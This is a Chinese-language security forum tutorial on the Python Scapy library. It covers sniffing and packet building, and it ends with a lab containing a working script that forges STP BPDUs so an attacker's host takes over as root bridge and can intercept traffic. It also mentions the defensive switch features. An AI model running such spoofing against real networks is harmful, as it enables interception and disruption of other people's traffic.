用户
搜索

[Python黑客] 网络利器之Scapy

  • TA的每日心情
    慵懒
    前天 13:30
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    10

    帖子

    58

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-10-15

    i春秋签约作者

    发表于 2018-11-6 21:39:24 56028
    本帖最后由 lem0n 于 2018-11-6 21:57 编辑

    网络利器之Scapy

    目录:
    
    0x00 Scapy简介
    
    0x01 Scapy安装
    
    0x02 Scapy基础使用
    
    0x03 数据包的构建与发送
    
    0x04 Scapy实验——stp根桥欺骗

    0x00 Scapy简介

    “It can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.”

    这是摘自Scapy官方文档中一句话,这句话足以彰显出Scapy的强大功能。

    Scapy是Python上的一个强大的构造网络数据包的模块,它可以完成绝大多数工具所能完成的功能,例如:扫描,网络发现,跟踪路由,探测,单元测试,攻击等。。。它也可以发送无效数据帧、注入修改的802.11数据帧、在WEP上解码加密通道(VOIP)、ARP缓存攻击(VLAN) 等。

    Scapy与普通工具最大的不同之处在于,它最大程度上满足你对数据包的任何操作。

    0x01 Scapy安装

    因为Scapy属于Python的一个模块,所以利用pip进行安装即可,无需担心平台问题。

    kali:pip install scapy

    Windows:pip install scapy

    测试:

    Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from scapy.all import *
    >>>

    无报错表示安装成功。

    0x02 Scapy基础使用

    在kali下可以直接输入scapy直接进入工具,也可以在python导入模块来使用。

    Scapy所支持的各类协议可通过ls()获得,并且ls(协议名)可以查看协议的内部参数,它贴心的根据本地环境设置了一些默认值,也可根据自己所需更改内置参数。

    root@kali:~# scapy 
    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
    WARNING: No route found for IPv6 destination :: (no default route?)
    WARNING: IPython not available. Using standard Python shell instead.
    AutoCompletion, History are disabled.
    
                         aSPY//YASa       
                 apyyyyCY//////////YCa       |
                sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
    ayp ayyyyyyySCP//Pp           syY//C    | Version 2.4.0
    AYAsAYYYYYYYY///Ps              cY//S   |
             pCCCCY//p          cSSps y//Y   | https://github.com/secdev/scapy
             SPPPP///a          pP///AC//Y   |
                  A//A            cyP////C   | Have fun!
                  p///Ac            sC///a   |
                  P////YCpc           A//A   | We are in France, we say Skappee.
           scccccp///pSP///p          p//Y   | OK? Merci.
          sY/////////y  caa           S//P   |             -- Sebastien Chabal
           cayCyayP//Ya              pY/Ya   |
            sY/PsY////YCc          aC//Yp 
             sc  sccaCY//PCypaapyCP//YSs  
                      spCPY//////YPSps    
                           ccaacs         
    
    >>> ls()
    AH         : AH
    ARP        : ARP
    ASN1P_INTEGER : None
    ASN1P_OID  : None
    ASN1P_PRIVSEQ : None
    ASN1_Packet : None
    ATT_Error_Response : Error Response
    ATT_Exchange_MTU_Request : Exchange MTU Request
    ...
    _MobilityHeader : Dummy IPv6 Mobility Header
    _RadiusAttrHexStringVal : Radius Attribute
    _RadiusAttrIPv4AddrVal : Radius Attribute
    _RadiusAttrIntEnumVal : Radius Attribute
    _RadiusAttrIntValue : Radius Attribute
    _SpecificRadiusAttr : Radius Attribute
    

    ls(IP) 或 IP().show()可以查看IP协议的详细信息,并且通过协议.参数的方法可以修改内部参数

    >>> ls(IP)
    version    : BitField (4 bits)                   = (4)
    ihl        : BitField (4 bits)                   = (None)
    tos        : XByteField                          = (0)
    len        : ShortField                          = (None)
    id         : ShortField                          = (1)
    flags      : FlagsField (3 bits)                 = (<Flag 0 ()>)
    frag       : BitField (13 bits)                  = (0)
    ttl        : ByteField                           = (64)
    proto      : ByteEnumField                       = (0)
    chksum     : XShortField                         = (None)
    src        : SourceIPField                       = (None)
    dst        : DestIPField                         = (None)
    options    : PacketListField                     = ([])
    >>> IP().show()
    ###[ IP ]### 
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= hopopt
      chksum= None
      src= 127.0.0.1
      dst= 127.0.0.1
      \options\
    >>> ip = IP()
    >>> ip.dst = "192.168.179.2"
    >>> ip.show()
    ###[ IP ]### 
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= hopopt
      chksum= None
      src= 192.168.179.149
      dst= 192.168.179.2
      \options\
    

    lsc() 列出Scapy中可以使用的命令或函数。其中常用对数据包进行操作的有send,sendp,srp,srp1,通过不同的函数

    >>> lsc()
    IPID_count          : Identify IP id values classes in a list of packets
    arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple
    arping              : Send ARP who-has requests to determine which hosts are up
    bind_layers         : Bind 2 layers on some specific fields' values
    bridge_and_sniff    : Forward traffic between interfaces if1 and if2, sniff and return
    chexdump            :  Build a per byte hexadecimal representation
    ...
    restart             : Restarts scapy
    send                : Send packets at layer 3
    sendp               : Send packets at layer 2
    sendpfast           : Send packets at layer 2 using tcpreplay for performance
    sniff               : 
    split_layers        : Split 2 layers previously bound
    sr                  : Send and receive packets at layer 3
    sr1                 : Send packets at layer 3 and return only the first answer
    sr1flood            : Flood and receive packets at layer 3 and return only the first answer
    srbt                : send and receive using a bluetooth socket
    srbt1               : send and receive 1 packet using a bluetooth socket
    srflood             : Flood and receive packets at layer 3
    srloop              : Send a packet at layer 3 in loop and print the answer each time
    srp                 : Send and receive packets at layer 2
    srp1                : Send and receive packets at layer 2 and return only the first 
    ...
    text wireshark
    wireshark           : Run wireshark on a list of packets
    wrpcap              : Write a list of packets to a pcap file
    

    利用sniff()可以实现对数据包的抓取,a.summary()查看捕获数据包内容,通过sniff抓取的数据包可以轻松的观察出icmp协议的数据包由Ether 、IP 、ICMP三个协议构成,之后的数据包构建部分会用到这里的这三个协议。

    >>> cap = sniff(filter='icmp',count=3)
    >>> cap
    <Sniffed: TCP:0 UDP:0 ICMP:3 Other:0>
    >>> cap.summary()
    Ether / IP / ICMP 192.168.179.149 > 192.168.179.2 echo-request 0 / Raw
    Ether / IP / ICMP 192.168.179.2 > 192.168.179.149 echo-reply 0 / Raw
    Ether / IP / ICMP 192.168.179.149 > 192.168.179.2 echo-request 0 / Raw
    

    同样可以Scapy可以把捕获的数据包写入pcap文件利用wireshark进行辅助分析数据。

    wrpcap()把捕获到的数据包写入pcap文件icmp.pcap

    >>> wrpcap('icmp.pcap',cap)
    >>> 

    利用wireshark可以对捕获的数据包

    0x03 数据包的构建与发送

    在上面的章节中我们利用sniff抓取的数据包中可以看到Ether / IP / ICMP这样的数据包结构,在Scapy之中数据包便是由这种形式构建不同的协议之间利用"/"连接,这样下一层下协议可以重载上一层协议的值。

    >>> eth = Ether()
    >>> ip = IP()
    >>> icmp = ICMP()
    >>> ip
    <IP  |>
    >>> eth
    <Ether  |>
    >>> ip
    <IP  |>
    >>> icmp
    <ICMP  |>
    >>> pkt = eth/ip/icmp
    >>> pkt
    <Ether  type=0x800 |<IP  frag=0 proto=icmp |<ICMP  |>>>
    >>> pkt.show()
    ###[ Ethernet ]### 
      dst= ff:ff:ff:ff:ff:ff
      src= 00:00:00:00:00:00
      type= 0x800
    ###[ IP ]### 
         version= 4
         ihl= None
         tos= 0x0
         len= None
         id= 1
         flags= 
         frag= 0
         ttl= 64
         proto= icmp
         chksum= None
         src= 127.0.0.1
         dst= 127.0.0.1
         \options\
    ###[ ICMP ]### 
            type= echo-request
            code= 0
            chksum= None
            id= 0x0
            seq= 0x0
    
    >>> 
    

    学习send、sendp、sr、sr1  发送数据包函数使用

    send函数工作在第三层

    >>> send(IP(dst="192.168.179.2")/ICMP())
    .
    Sent 1 packets.
    

    sendp函数工作在第二层,你可以选择网卡和协议

    >>> sendp(Ether()/IP(dst="192.168.179.2",iface="eth0")
    ....
    Sent 4 packets.

    sr()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list

    >>> sr(IP(dst="192.168.179.2")/ICMP())
    Begin emission:
    .Finished sending 1 packets.
    *
    Received 2 packets, got 1 answers, remaining 0 packets
    (<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

    sr1()sr()一个变种,他们发送的数据包必须是第3层数据包(IP,ARP等)。sr1()只返回应答发送的分组,并且只接收返回的第一个包。

    >>> sr1(IP(dst="192.168.179.2")/ICMP())
    Begin emission:
    *Finished sending 1 packets.
    
    Received 1 packets, got 1 answers, remaining 0 packets
    <IP  version=4 ihl=5 tos=0x0 len=28 id=28573 flags= frag=0 ttl=128 proto=icmp chksum=0xe35a src=192.168.179.2 dst=192.168.179.149 options=[] |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
    

    0x04 Scapy实验——stp根桥欺骗

    实验原理:

    当一个网桥开始变为活动时,它的每个端口都是每2s(使用缺省定时值时)发送一个BPDU。然而,如果一个端口收到另外一个网桥发送过来的BPDU,而这个BPDU比它正在发送的BPDU更优,则本地端口会停止发送BPDU。如果在一段时间(缺省为20s)后它不再接收到邻居的更优的BPDU,则本地端口会再次发送BPDU。
    
    选根桥 (Root Bridge):
    比较桥ID,桥ID由2字节优先级和6字节MAC地址组成。先比较桥ID中的优先级,具有最小优先级的,此交换机定为根桥。如果优先级一样,再比较桥ID中的MAC地址,MAC地址最小的确定为跟桥。

    实验思路:

    通过抓取BPDU来提取其中的rootid及rootmac,赋给一个新的变量。
    遍历rootid及rootmac中的每个字符并将每个字符的ascii码减一。
    将减小的ascii码重新构造成新的id及mac。
    最后将新生成的id及mac放入封装好的包中进行循环发送。

    实验脚本:

    #!/usr/bin/env python3
    #-*-coding:utf-8-*-
    #stp欺骗根桥
    from scapy.all import *
    
    while True:    #循环抓包
        try:       #防止在获取id及mac时报错,加上try进行错误捕捉
            pkt = sniff(stop_filter = lambda x: x.haslayer(STP), iface = "eth0")   #抓取到STP协议立即停止
            bridgeid = pkt[len(pkt)-1].bridgeid        #提取最后一个包的bridgeid及bridgemac
            bridgemac = pkt[len(pkt)-1].bridgemac
            rootid = pkt[len(pkt)-1].rootid           #提取最后一个包的rootid及rootmac
            rootmac = pkt[len(pkt)-1].rootmac
            break
        except:
            pass
    
    #遍历rootmc中的每个字符,并将不为0和:的字符的ascii码减一,构造新的newMAC    
    newMAC = ''
    for x in range(len(rootmac)):
        if (rootmac[x] in '123456789abcdef') and ( rootmac[x] not in '0:'):
            n = int(rootmac[x], 16)
            n -= 1
            n = format(n, 'x')
            newMAC += n
        else:
            newMAC += rootmac[x]
    
    #判断rootid,如果id为0则newrootid = 0,不为零则newrootid = rootid - 1
    newrootid = 0
    if rootid == 0:
        newrootid = rootid
    else:
        newrootid = rootid - 1
    
    #循环发送构造好的数据包
    while True:
        sendp(Dot3(dst = "01:80:c2:00:00:00", src = newMAC)/LLC()/STP(rootid = newrootid,rootmac = newMAC), iface = "eth0")
        #stp由Dot3,LLC,STP构成,其中Dot3的目的地址"01:80:c2:00:00:00"为交换机发出BPDU的目的MAC地址。
    

    实验结果:

    实验前:

    试验后:

    上传markdown图片出了点小问题各位表哥看附件吧,附件是试验后的效果

    实验结论:

    通过实验前后交换机的信息对比可见通过竞争,新构造的id被选为rootid。根桥作为生成树的顶端,他可以监视整个网络。由此可以更改网络拓扑,控制流量走向,从而进行下一阶段的攻击。这里因为是演示scapy的强大所以不再进行下一步的攻击测试。

    可见如果没有正确配置好交换机会对整个网络系统产生多严重的影响。配置生成树协议安全特性可以有效防止根桥欺骗。


    hou.jpg
    发表于 2018-11-7 21:03:11
    学习学习。。。
    http://www.anonymou5.com
    使用道具 举报 回复

    学习学习。。。
    使用道具 举报 回复
    基础的知识啊
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册